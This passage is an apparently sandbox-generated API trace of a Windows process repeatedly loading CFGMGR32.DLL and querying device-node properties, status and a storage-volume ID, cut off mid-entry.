[0230.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.381] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.382] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.383] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.383] malloc (_Size=0x18) returned 0x196ef0d1e20 [0230.384] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.387] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0230.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a2c56e2, dwHighDateTime=0x1d9eb0c)) [0230.387] SetEvent (hEvent=0x248) returned 1 [0230.390] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.390] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.393] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.393] malloc (_Size=0x18) returned 0x196ef0d1f40 [0230.393] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x33, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0230.393] malloc (_Size=0x48) returned 0x196ef0fbe00 [0230.394] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6a2eb9fe, dwHighDateTime=0x1d9eb0c)) [0230.394] SetEvent (hEvent=0x248) returned 1 [0230.398] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.398] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.399] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.400] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.401] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0230.401] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x33, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0230.401] malloc (_Size=0x48) returned 0x196ef0fba40 [0230.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6a2eb9fe, dwHighDateTime=0x1d9eb0c)) [0230.401] SetEvent (hEvent=0x248) returned 1 [0230.405] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.405] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.406] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.407] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.408] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.409] malloc (_Size=0x18) returned 0x196ef0d1b40 [0230.409] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x33, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0230.409] malloc (_Size=0x48) returned 0x196ef0fbb30 [0230.409] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a311d28, dwHighDateTime=0x1d9eb0c)) [0230.409] SetEvent (hEvent=0x248) returned 1 [0230.414] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.414] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.416] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.416] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.416] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.416] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.416] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.416] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.416] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.417] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.417] malloc (_Size=0x18) returned 0x196ef0d1de0 [0230.417] CM_Get_Device_IDA (in: dnDevInst=0x34, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="STORAGE\\VOLUME\\{EBD0D398-C546-11EC-B0BF-806E6F6E6963}#0000000000100000") returned 0x0 [0230.417] malloc (_Size=0x48) returned 0x196ef0fbae0 [0230.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6a311d28, dwHighDateTime=0x1d9eb0c)) [0230.417] SetEvent (hEvent=0x248) returned 1 [0230.472] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.472] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.473] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.476] malloc (_Size=0x18) returned 0x196ef0d2040 [0230.478] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0230.479] malloc (_Size=0x20) returned 0x196ef0f9b80 [0230.479] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9b80, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9b80, pulLength=0x67117d608) returned 0x0 [0230.479] free (_Block=0x196ef0f9b80) [0230.479] malloc (_Size=0x48) returned 0x196ef0fb810 [0230.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6a3aa4b0, dwHighDateTime=0x1d9eb0c)) [0230.480] SetEvent (hEvent=0x248) returned 1 [0230.482] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0230.482] SafeArrayPutElement (psa=0x196ef1f2cf0, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0230.482] free (_Block=0x196ef0d1ea0) [0230.482] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855ee0 [0230.482] SafeArrayGetDim (psa=0x196ef1f2cf0) returned 0x1 [0230.482] SafeArrayGetLBound (in: psa=0x196ef1f2cf0, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0230.482] SafeArrayGetUBound (in: psa=0x196ef1f2cf0, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0230.482] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0230.482] SafeArrayGetDim (psa=0x196ef1f2cf0) returned 0x1 [0230.482] SafeArrayGetUBound (in: psa=0x196ef1f2cf0, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0230.482] SafeArrayGetElemsize (psa=0x196ef1f2cf0) returned 0x8 [0230.483] SafeArrayGetElement (in: psa=0x196ef1f2cf0, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0230.483] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225ca0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0230.483] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0230.484] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855ee0) returned 1 [0230.484] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.484] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.485] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.486] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.487] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.487] malloc (_Size=0x18) returned 0x196ef0d1a60 [0230.488] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0230.488] malloc (_Size=0x48) returned 0x196ef0fbb30 [0230.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6a3d068c, dwHighDateTime=0x1d9eb0c)) [0230.488] SetEvent (hEvent=0x248) returned 1 [0230.490] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.490] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.491] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.492] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.493] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.493] malloc (_Size=0x18) returned 0x196ef0d1d60 [0230.493] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x34, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.496] malloc (_Size=0x48) returned 0x196ef0fbf90 [0230.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a3d068c, 